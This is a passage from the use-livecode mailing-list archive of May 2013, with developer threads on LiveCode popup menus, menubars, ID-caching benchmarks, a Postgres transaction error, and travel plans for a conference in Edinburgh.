list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From livfoss at mac.com Sun May 12 06:45:59 2013 From: livfoss at mac.com (Graham Samuel) Date: Sun, 12 May 2013 11:45:59 +0100 Subject: Context Menus - the look of the thing In-Reply-To: References: <6891CBDF-7BA3-4344-8BBE-945E50FB149E@mac.com> <518BD6AF.7040501@hyperactivesw.com> <518C050C.4030203@hyperactivesw.com> Message-ID: <80AD8559-13B3-41D2-9179-A7980A382D45@mac.com> Actually I **thought** it was solved because a test stack worked. Now in my real stack, it doesn't seem to work. Basically I have the button menu in an obscure card in a mainstack somewhere, and the mouseDowns can easily be shown to be reaching this stack and even this button, but the popup doesn't pop up. My mouseDown handler looks like this on mouseDown if then popup btn "mycontextmenu" of cd "myobscurecard" of "mystackfaraway" else pass mouseDown end if end mouseDown I can make the menu appear by executing the above 'popup' line from the message box, so both the path and the format of the button are right. I can set a breakpoint in the mouseDown handler at the line immediately above the 'popup' line, and the code stops at that point, but with or without the breakpoint, no popup. I just can't see what I'm doing wrong, tho it's probably blindingly obvious. Sadly one can't breakpoint the actual popup action, only the script of the button after the popup action has taken place. I just noticed that in the LC documentation for 'popup', it says (of using a button as a popup menu) > The button is a reference to a button on the current card. well, my button isn't on the current card, but I constructed a test rig which shows it doesn't have to be, so that calls for a correction to the docs rather than providing an explanation for my problem. Sadly Jacque is on a plane somewhere - can anyone else help? Graham On 9 May 2013, at 22:55, Graham Samuel wrote: > Thanks Jacque for your (three) replies, Problem solved - it seems a lot clearer the way you explain it! > > Graham > > On 9 May 2013, at 22:20, J. Landman Gay wrote: > >> On 5/9/13 2:54 PM, Graham Samuel wrote: >>> I could not work out if each field >>> would need its own button >> >> Forgot to answer that part. You only need one button. It will pop up under the mouse whenever it's called. >> >> -- >> Jacqueline Landman Gay | jacque at hyperactivesw.com >> HyperActive Software | http://www.hyperactivesw.com >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From rdimola at evergreeninfo.net Sun May 12 08:29:45 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Sun, 12 May 2013 12:29:45 +0000 Subject: US at conference=?UTF-8?B?Pw==?= In-Reply-To: <3E0CDC00-0B86-4D0E-A466-70B65695DD2B@sweattechnologies.com> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> <001801ce4e8c$f0a42400$d1ec6c00$@net> <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> <04C4DF00-FDF9-4193-9F0C-B7A4D38169DC@mac.com> <3E0CDC00-0B86-4D0E-A466-70B65695DD2B@sweattechnologies.com> Message-ID: What day? ? Ralph DiMola MIS Director Evergreen Information Services rdimola at evergreeninfo.net -----Original message----- From: Monte Goulding To: How to use LiveCode Sent: Sun, May 12, 2013 07:34:40 GMT+00:00 Subject: Re: US at conference? Rebecca and I should be @ The George by around 1:30PM. Flying out of Stansted @ 11:50. Thinking of taking a look at the castle after dropping off the bags if anyone wants to join us... Cheers -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From rdimola at evergreeninfo.net Sun May 12 08:29:50 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Sun, 12 May 2013 12:29:50 +0000 Subject: US at conference=?UTF-8?B?Pw==?= In-Reply-To: <3E0CDC00-0B86-4D0E-A466-70B65695DD2B@sweattechnologies.com> References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> <001801ce4e8c$f0a42400$d1ec6c00$@net> <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> <04C4DF00-FDF9-4193-9F0C-B7A4D38169DC@mac.com> <3E0CDC00-0B86-4D0E-A466-70B65695DD2B@sweattechnologies.com> Message-ID: <2df4e10f-08b1-4c32-af3b-3e012d6da3be@blur> Monte What day? Ralph DiMola MIS Director Evergreen Information Services rdimola at evergreeninfo.net -----Original message----- From: Monte Goulding To: How to use LiveCode Sent: Sun, May 12, 2013 07:34:40 GMT+00:00 Subject: Re: US at conference? Rebecca and I should be @ The George by around 1:30PM. Flying out of Stansted @ 11:50. Thinking of taking a look at the castle after dropping off the bags if anyone wants to join us... Cheers -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From tate83 at gmail.com Sun May 12 08:42:24 2013 From: tate83 at gmail.com (Pascal Lehner) Date: Sun, 12 May 2013 13:42:24 +0100 Subject: US at conference? In-Reply-To: References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> <001801ce4e8c$f0a42400$d1ec6c00$@net> <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> <04C4DF00-FDF9-4193-9F0C-B7A4D38169DC@mac.com> <3E0CDC00-0B86-4D0E-A466-70B65695DD2B@sweattechnologies.com> Message-ID: Welcome to the island :-) and since its not raining right now, I'd even consider it good weather.. Just in case you want to go to the castle and there is a big crowd trying to get tix - just buy them beforehand online. you get a code which you then can use to print the tix right at the castle entrance without any waiting.. http://tickets.historic-scotland.gov.uk/webstore/shop/ViewItems.aspx?CG=TKTS&C=GA greez Pascal 2013/5/12 Ralph DiMola > What day? ? > > > Ralph DiMola > MIS DirectorEvergreen Information Services > rdimola at evergreeninfo.net > > -----Original message----- > From: Monte Goulding > To: How to use LiveCode > Sent: Sun, May 12, 2013 07:34:40 GMT+00:00 > Subject: Re: US at conference? > > > Rebecca and I should be @ The George by around 1:30PM. Flying out of > Stansted @ 11:50. Thinking of taking a look at the castle after dropping > off the bags if anyone wants to join us... > > Cheers > > -- > Monte Goulding > > M E R Goulding - software development services > mergExt - There's an external for that! > > > > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From pmbrig at gmail.com Sun May 12 08:47:32 2013 From: pmbrig at gmail.com (Peter M. Brigham) Date: Sun, 12 May 2013 08:47:32 -0400 Subject: Context Menus - the look of the thing In-Reply-To: <80AD8559-13B3-41D2-9179-A7980A382D45@mac.com> References: <6891CBDF-7BA3-4344-8BBE-945E50FB149E@mac.com> <518BD6AF.7040501@hyperactivesw.com> <518C050C.4030203@hyperactivesw.com> <80AD8559-13B3-41D2-9179-A7980A382D45@mac.com> Message-ID: <8E0679EB-9AA5-4D46-B558-13736A220EA2@gmail.com> Have you checked that you are loading the contents of the button correctly first? If you don't put some text into the button, nothing will happen with the command. -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig On May 12, 2013, at 6:45 AM, Graham Samuel wrote: > Actually I **thought** it was solved because a test stack worked. Now in my real stack, it doesn't seem to work. Basically I have the button menu in an obscure card in a mainstack somewhere, and the mouseDowns can easily be shown to be reaching this stack and even this button, but the popup doesn't pop up. My mouseDown handler looks like this > > on mouseDown > if then > popup btn "mycontextmenu" of cd "myobscurecard" of "mystackfaraway" > else > pass mouseDown > end if > end mouseDown > > I can make the menu appear by executing the above 'popup' line from the message box, so both the path and the format of the button are right. I can set a breakpoint in the mouseDown handler at the line immediately above the 'popup' line, and the code stops at that point, but with or without the breakpoint, no popup. I just can't see what I'm doing wrong, tho it's probably blindingly obvious. Sadly one can't breakpoint the actual popup action, only the script of the button after the popup action has taken place. > > I just noticed that in the LC documentation for 'popup', it says (of using a button as a popup menu) > >> The button is a reference to a button on the current card. > > well, my button isn't on the current card, but I constructed a test rig which shows it doesn't have to be, so that calls for a correction to the docs rather than providing an explanation for my problem. > > Sadly Jacque is on a plane somewhere - can anyone else help? > > Graham > > > On 9 May 2013, at 22:55, Graham Samuel wrote: > >> Thanks Jacque for your (three) replies, Problem solved - it seems a lot clearer the way you explain it! >> >> Graham >> >> On 9 May 2013, at 22:20, J. Landman Gay wrote: >> >>> On 5/9/13 2:54 PM, Graham Samuel wrote: >>>> I could not work out if each field >>>> would need its own button >>> >>> Forgot to answer that part. You only need one button. It will pop up under the mouse whenever it's called. >>> >>> -- >>> Jacqueline Landman Gay | jacque at hyperactivesw.com >>> HyperActive Software | http://www.hyperactivesw.com >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From rene.micout at numericable.com Sun May 12 09:04:46 2013 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Sun, 12 May 2013 15:04:46 +0200 Subject: Script editors In-Reply-To: <2D70FDED-C23E-4BBA-BA6C-DFF7E6E3995A@fiberworld.nl> References: <5180E145.5020905@gmail.com> <75C2F5DB-2125-4FD6-828C-DAF441B9D2E8@sweattechnologies.com> <1367416865632-4664076.post@n4.nabble.com> <2D70FDED-C23E-4BBA-BA6C-DFF7E6E3995A@fiberworld.nl> Message-ID: <5C5979AF-B945-4F28-9153-B9AFAA88AF6A@numericable.com> Hello Claudi, Great !! Ren? Le 3 mai 2013 ? 10:31, Claudi Cornaz a ?crit : > Hi, > > I am working on a tool, "stackally", which show's all handlers of a event in a tree view. > A event means: everything that happens from the start of a message till the end of that message. > Well that's the most important feature of the tool, besides showing which handlers have changed between any 2 scans and naturally can store the different scans, a bit like a backup. You can permanently keep any scan and besides that, it will automatically keep the last x scans you made. (first in, first out) > > I still need to do some work on it tough, besides incorporating the 2 new handler types, before and after. (these change the messagePath order as you might say, so I need to change that part of the code to adopt this so I can create the correct tree view. > > I still have to think about the licensing. I spend a awfull long time on this and I certainly > need the money. One thing I will surely do is make a free reader available, which can display all scans, but you won't be able to scan a stack with the reader. > > I think the free reader might be a realy good help for people starting with livecode. > I guess they need documentation and good complete working samples. I know this has been talked a lot about before on this list, and I believe, now it is even more necesary so we can atract a lot of new people. People who are eager to start coding in this wonderfull world called livecode. > > So for instance a good, completly functioning notepad or simpletext app would be very usefull demo. > To learn the new text and paragraph features I started one which is almost done, at least for the mac, for now. This demo needs to be able to open and save text documents and of course it needs the splash screen aproach. It needs menus, preferences and all the new text and paragraph features fully working, > including the setting of tabstops and margins in paragraphs. It needs all the works. This will surely be my > first demo with scan available with the stackAlly reader. It will make understanding this 'complex' demo, > which has a lot of code, a lot easier. You don't need to go hunting through all the different scripts > to find the next routine that gets called. ((this also shows you the messagePath) It's all there, everything related is nicely viewable in a tree view, easy accesable. It's also very usefull to just look up how the menuPick message is handled for instance, or any other message that's used in this or other demo of course. > > Anyway I hope to have some time to create the first 'finished' version soon. > > If you are interested please drop me a line. And if enough people are interested, well it would > justify me spending some more time to finish stackAlly quickly. > > All the best, > Claudi From livfoss at mac.com Sun May 12 10:32:38 2013 From: livfoss at mac.com (Graham Samuel) Date: Sun, 12 May 2013 15:32:38 +0100 Subject: Context Menus - the look of the thing In-Reply-To: <8E0679EB-9AA5-4D46-B558-13736A220EA2@gmail.com> References: <6891CBDF-7BA3-4344-8BBE-945E50FB149E@mac.com> <518BD6AF.7040501@hyperactivesw.com> <518C050C.4030203@hyperactivesw.com> <80AD8559-13B3-41D2-9179-A7980A382D45@mac.com> <8E0679EB-9AA5-4D46-B558-13736A220EA2@gmail.com> Message-ID: <55190CAF-A232-4315-918E-F195D88F25AD@mac.com> Yes, the button contains a classic 'menuPick' script. In a test rig, it works fine as it is. I just made the thing work. I THINK I did this by ensuring that the button was in the hierarchy of the stack that was invoking it with a 'popup' script: previously I had tried to put the button in a completely different mainstack. My program had no difficulty in accessing this button, for example an 'exists' query in the calling script found the button correctly - but it turns out (I now think) that popups are unusual beasts with their own peculiar habits. I rather hope to have a short chat about this with someone at the conference. Thanks Graham On 12 May 2013, at 13:47, Peter M. Brigham wrote: > Have you checked that you are loading the contents of the button correctly first? If you don't put some text into the button, nothing will happen with the command. > > -- Peter > > Peter M. Brigham > pmbrig at gmail.com > http://home.comcast.net/~pmbrig > > On May 12, 2013, at 6:45 AM, Graham Samuel wrote: > >> Actually I **thought** it was solved because a test stack worked. Now in my real stack, it doesn't seem to work. Basically I have the button menu in an obscure card in a mainstack somewhere, and the mouseDowns can easily be shown to be reaching this stack and even this button, but the popup doesn't pop up. My mouseDown handler looks like this >> >> on mouseDown >> if then >> popup btn "mycontextmenu" of cd "myobscurecard" of "mystackfaraway" >> else >> pass mouseDown >> end if >> end mouseDown >> >> I can make the menu appear by executing the above 'popup' line from the message box, so both the path and the format of the button are right. I can set a breakpoint in the mouseDown handler at the line immediately above the 'popup' line, and the code stops at that point, but with or without the breakpoint, no popup. I just can't see what I'm doing wrong, tho it's probably blindingly obvious. Sadly one can't breakpoint the actual popup action, only the script of the button after the popup action has taken place. >> >> I just noticed that in the LC documentation for 'popup', it says (of using a button as a popup menu) >> >>> The button is a reference to a button on the current card. >> >> well, my button isn't on the current card, but I constructed a test rig which shows it doesn't have to be, so that calls for a correction to the docs rather than providing an explanation for my problem. >> >> Sadly Jacque is on a plane somewhere - can anyone else help? >> >> Graham >> >> >> On 9 May 2013, at 22:55, Graham Samuel wrote: >> >>> Thanks Jacque for your (three) replies, Problem solved - it seems a lot clearer the way you explain it! >>> >>> Graham >>> >>> On 9 May 2013, at 22:20, J. Landman Gay wrote: >>> >>>> On 5/9/13 2:54 PM, Graham Samuel wrote: >>>>> I could not work out if each field >>>>> would need its own button >>>> >>>> Forgot to answer that part. You only need one button. It will pop up under the mouse whenever it's called. >>>> >>>> -- >>>> Jacqueline Landman Gay | jacque at hyperactivesw.com >>>> HyperActive Software | http://www.hyperactivesw.com >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From andre at andregarzia.com Sun May 12 10:55:48 2013 From: andre at andregarzia.com (Andre Garzia) Date: Sun, 12 May 2013 15:55:48 +0100 Subject: US at conference? In-Reply-To: References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> <001801ce4e8c$f0a42400$d1ec6c00$@net> <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> <04C4DF00-FDF9-4193-9F0C-B7A4D38169DC@mac.com> <3E0CDC00-0B86-4D0E-A466-70B65695DD2B@sweattechnologies.com> Message-ID: I am at the heathrow airport right now. I will depart to Edinburgh on BA1454 at 17:25. Is someone here or on the same flight? Cheers andre On Sun, May 12, 2013 at 1:42 PM, Pascal Lehner wrote: > Welcome to the island :-) and since its not raining right now, I'd even > consider it good weather.. > > Just in case you want to go to the castle and there is a big crowd trying > to get tix - just buy them beforehand online. you get a code which you then > can use to print the tix right at the castle entrance without any waiting.. > > http://tickets.historic-scotland.gov.uk/webstore/shop/ViewItems.aspx?CG=TKTS&C=GA > > greez Pascal > > > > > > 2013/5/12 Ralph DiMola > > > What day? ? > > > > > > Ralph DiMola > > MIS DirectorEvergreen Information Services > > rdimola at evergreeninfo.net > > > > -----Original message----- > > From: Monte Goulding > > To: How to use LiveCode > > Sent: Sun, May 12, 2013 07:34:40 GMT+00:00 > > Subject: Re: US at conference? > > > > > > Rebecca and I should be @ The George by around 1:30PM. Flying out of > > Stansted @ 11:50. Thinking of taking a look at the castle after dropping > > off the bags if anyone wants to join us... > > > > Cheers > > > > -- > > Monte Goulding > > > > M E R Goulding - software development services > > mergExt - There's an external for that! > > > > > > > > > > > > ______________________________**_________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/**mailman/listinfo/use-livecode< > http://lists.runrev.com/mailman/listinfo/use-livecode> > > > > ______________________________**_________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/**mailman/listinfo/use-livecode< > http://lists.runrev.com/mailman/listinfo/use-livecode> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From coiin at verizon.net Sun May 12 11:11:33 2013 From: coiin at verizon.net (Colin Holgate) Date: Sun, 12 May 2013 16:11:33 +0100 Subject: US at conference? In-Reply-To: References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> <001801ce4e8c$f0a42400$d1ec6c00$@net> <8AB91356-8EC6-4836-A9CE-985F3A30001A@verizon.net> <04C4DF00-FDF9-4193-9F0C-B7A4D38169DC@mac.com> <3E0CDC00-0B86-4D0E-A466-70B65695DD2B@sweattechnologies.com> Message-ID: <8C6F551D-F92C-4AF3-B341-921B3A89A173@verizon.net> I'm in Nottingham, at one of my brother's place. I thought about taking a plane form East Midlands Airport, but roughly speaking the cost for the plane or the train is the same, and train times are more likely to be exactly on time. Means it will take 4-5 hours to get up there, but I'll be relaxing on the train, working on the revision of my book! On May 12, 2013, at 3:55 PM, Andre Garzia wrote: > I am at the heathrow airport right now. I will depart to Edinburgh on > BA1454 at 17:25. Is someone here or on the same flight? From irog at mac.com Sun May 12 12:11:39 2013 From: irog at mac.com (Roger Guay) Date: Sun, 12 May 2013 09:11:39 -0700 Subject: Oval framed photo In-Reply-To: References: Message-ID: <9E4BA50A-7CA1-413F-BE99-CE3572290215@mac.com> On May 11, 2013, at 5:13 AM, David Bovill wrote: > Thanks Mike and Roger - seems like it works on OSX at least despite the > notes in the docs: > > To be used as a pattern on Mac OS systems, an image must be 128x128 pixels >> or less, and both its height and width must be a power of 2, however, in >> LiveCode version 2.7, this restriction was partially lifted and the engine >> will tile rectangular regions correctly with arbitrarily sized background >> patterns.To be used on Windows and Unix systems, height and width must be >> divisible by 8. To be used as a fully cross-platform pattern, both an >> image's dimensions should be one of 8, 16, 32, 64, or 128. I didn't read the docs, so I didn't know I couldn't do what I am, in fact, doing. >> However it works nicely on OSX now. I'm keeping the technique below as it > allows me to reposition the image within the oval by dragging it around - > but then when I want to keep it I will export the snapshot and then set the > backgroundpattern of the graphic. > > By the way I can't get the new syntax to work: > > > 1. >> >> New variants of the import snapshot and export snapshot commands have >> been added: import snapshot ... at size width, height >> export snapshot ... at size width, height >> > > The script editor does not like the syntax? I just use "import snapshot from rect". Seems to work every time for me . In fact, I don't even see this option of "at size width, height" in the dictionaries of 5.5.4 and 6.0. Roger From mail at coffeecone.com Sun May 12 12:39:01 2013 From: mail at coffeecone.com (CoffeeCone Mail) Date: Mon, 13 May 2013 00:39:01 +0800 Subject: How do I catch the App Name > About without adding a menu bar? Message-ID: On OS X, I want to catch when the user presses My App Name > About from the menu bar. I can't figure out a way to do this without having to resort to adding a menu bar (which my app doesn't really need). From m.schonewille at economy-x-talk.com Sun May 12 12:46:59 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sun, 12 May 2013 18:46:59 +0200 Subject: How do I catch the App Name > About without adding a menu bar? In-Reply-To: References: Message-ID: <7C234D4B-0D7C-44B1-9B9E-CFE9AC2D09DF@economy-x-talk.com> Hi, Add a menubar with just the About menu item (make sure it is in the right place). If the Help menu has no other items, it won't show up in the menu bar. There is no way to do this without a menubar. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com We have time for new software development projects. Contact me for a quote. On 12 mei 2013, at 18:39, CoffeeCone Mail wrote: > On OS X, I want to catch when the user presses My App Name > About > from the menu bar. I can't figure out a way to do this without having > to resort to adding a menu bar (which my app doesn't really need). From pete at lcsql.com Sun May 12 12:55:43 2013 From: pete at lcsql.com (Peter Haworth) Date: Sun, 12 May 2013 09:55:43 -0700 Subject: postgres talking back on queries again In-Reply-To: References: Message-ID: Sounds like you somewhere issued a BEGIN and then stopped processing without a ROLLBACK or COMMIT, maybe while debugging and stopping part way through a handler. The INSERT in psql works because you don't have that situation. Try issuing a COMMOT or ROLLBACK from the message box then try the INSERT again. Pete lcSQL Software On Sat, May 11, 2013 at 5:01 PM, Dr. Hawkins wrote: > I have an open database debtorDb of 11. I have a text window with psql > running on the same database. uniq_sfky is > > psql likes my query: > dhbk_dbtrs=# INSERT INTO try1_____________001_sofa VALUES(DEFAULT) > RETURNING uniq_sfky; > uniq_sfky > ----------- > 9 > (1 row) > > INSERT 0 1 > dhbk_dbtrs=# > > > Livecode does not: > > put "INSERT INTO " & dhtbl_sofa & " VALUES(DEFAULT) RETURNING uniq_sfky;" > & return into dcmd > put dcmd > > shows > > INSERT INTO try1_____________001_sofa VALUES(DEFAULT) RETURNING > uniq_sfky; > > --the exact same query (well, I did cut & paste!) > > Then using this in a couple of ways > > put revDataFromQuery(tab,vtab,debtordb,dcmd) into theRes > put theRes > yields > revdberr,ERROR: current transaction is aborted, commands ignored > until end of transaction block > > > Then also trying, > put revdb_execute(debtorDb,dcmd, res1, res2, res3)into theRes > put theRes > > yields the same error message > > > Originally, I had these inside BEGIN/COMMIT, but couldn't make sense out of > the errors. > > This seems to be valid postgres, and works in psql (which is a minimal > wrapper, I believe). > > What is going on here? > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From alex at tweedly.net Sun May 12 13:08:00 2013 From: alex at tweedly.net (Alex Tweedly) Date: Sun, 12 May 2013 18:08:00 +0100 Subject: ID caching: how to test? In-Reply-To: <518DA8BE.5080804@fourthworld.com> References: <518DA8BE.5080804@fourthworld.com> Message-ID: <518FCC70.1070001@tweedly.net> Yes, here's an example. The clue (I think) is in the "linear time...into constant time" Create a large-ish number of controls - in this stack I cloned a button 1000 times, calling them BBB1 BBB2 .... BBB1000 Then this code accesses a single control many times - and shows that accessing by id is much faster than accessing by name, but more importantly here, that in 6.0 access by id to the most recently accessed control is very fast. in 5.5.3 name takes 830 ms while id takes only 250 ms but in 6.0 (i.e. with id caching) name takes 830 ms while id takes 5 ms -- Alex. global K on mouseUp put 1000 into K put the millisecs into t1 put "BBB"&(K-10) into tName repeat 10000 times put the short name of control tName into t end repeat put the millisecs-t1 && t &CR after msg put the millisecs into t1 put the id of button tName into tID repeat 10000 times put the short name of control id tID into t end repeat put the millisecs-t1 && t &CR after msg end mouseUp On 11/05/2013 03:11, Richard Gaskin wrote: > The Release Notes for v6 include: > > ID caching (6.0 DP 2) > New global property ? allowDatagramBroadcasts (6.0 DP 2) > A new global property allowDatagramBroadcasts has been added. This > needs to be set to true before sending to a broadcast address > (enables the per-socket flag for whether they are allowed). > The engine now caches lookups of control references of the form > ?card id ...? and ?control id ...?. > This speeds up any access using those forms after the first time, > turning an operation that would be completed in linear time into > one that will be completed in constant time. > > > I'm not clear on the syntax, so I've been unable to benchmark the > performance boost. > > Anyone here have a sample of ID caching in action? > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > Follow me on Twitter: http://twitter.com/FourthWorldSys > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Sun May 12 13:39:41 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sun, 12 May 2013 10:39:41 -0700 Subject: ID caching: how to test? Message-ID: <518FD3DD.1090705@fourthworld.com> Alex Tweedly wrote: > Yes, here's an example. The clue (I think) is in the "linear time...into > constant time" > > Create a large-ish number of controls - in this stack I cloned a button > 1000 times, calling them > BBB1 BBB2 .... BBB1000 > > Then this code accesses a single control many times - and shows that > accessing by id is much faster than accessing by name, but more > importantly here, that in 6.0 access by id to the most recently accessed > control is very fast. > > in 5.5.3 > name takes 830 ms while id takes only 250 ms > > but in 6.0 (i.e. with id caching) > name takes 830 ms while id takes 5 ms > > -- Alex. > > global K > > on mouseUp > put 1000 into K > > put the millisecs into t1 > put "BBB"&(K-10) into tName > repeat 10000 times > put the short name of control tName into t > end repeat > put the millisecs-t1 && t &CR after msg > > put the millisecs into t1 > put the id of button tName into tID > repeat 10000 times > put the short name of control id tID into t > end repeat > put the millisecs-t1 && t &CR after msg > > end mouseUp Nicely done, Alex. Thanks! -- Richard Gaskin Fourth World Systems Software Design and Development for Desktop, Mobile, and Web ____________________________________________________________ Ambassador at FourthWorld.com http://www.FourthWorld.com From mark.rauterkus at gmail.com Sun May 12 14:03:02 2013 From: mark.rauterkus at gmail.com (Mark Rauterkus) Date: Sun, 12 May 2013 14:03:02 -0400 Subject: Safe travels to all! Message-ID: Hi, Home-bound here but wishing you all safe travels to and from the conference. Perhaps we will meet again at the US EDUCATORS event for LC? Details on that welcomed, whenever. Send us some digital goodies in your spare moments. Wishing I could join you. Mark Rauterkus Mark at Rauterkus.con Pittsburgh, PA, USA 412-298-3432 From mail at coffeecone.com Sun May 12 14:42:23 2013 From: mail at coffeecone.com (CoffeeCone Mail) Date: Mon, 13 May 2013 02:42:23 +0800 Subject: How do I catch the App Name > About without adding a menu bar? In-Reply-To: <7C234D4B-0D7C-44B1-9B9E-CFE9AC2D09DF@economy-x-talk.com> References: <7C234D4B-0D7C-44B1-9B9E-CFE9AC2D09DF@economy-x-talk.com> Message-ID: Hi, thanks for the suggestion. However, is there any way I can make my own menubar group without using the Menu Manager? Using it messes up my application's layout in some way or another. On 5/13/13, Mark Schonewille wrote: > Hi, > > Add a menubar with just the About menu item (make sure it is in the right > place). If the Help menu has no other items, it won't show up in the menu > bar. There is no way to do this without a menubar. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour > spaces. http://www.color-converter.com > > We have time for new software development projects. Contact me for a quote. > > > > > > > On 12 mei 2013, at 18:39, CoffeeCone Mail wrote: > >> On OS X, I want to catch when the user presses My App Name > About >> from the menu bar. I can't figure out a way to do this without having >> to resort to adding a menu bar (which my app doesn't really need). > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From m.schonewille at economy-x-talk.com Sun May 12 14:49:51 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sun, 12 May 2013 20:49:51 +0200 Subject: How do I catch the App Name > About without adding a menu bar? In-Reply-To: References: <7C234D4B-0D7C-44B1-9B9E-CFE9AC2D09DF@economy-x-talk.com> Message-ID: <330ACE77-646A-49CF-B285-F333F39443F0@economy-x-talk.com> Hi, Sure you can. Just make a group with pulldown buttons and set the menubar property of your stack to the name of that group. Make sure that you understand tha anatomy of menubars! -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com We have time for new software development projects. Contact me for 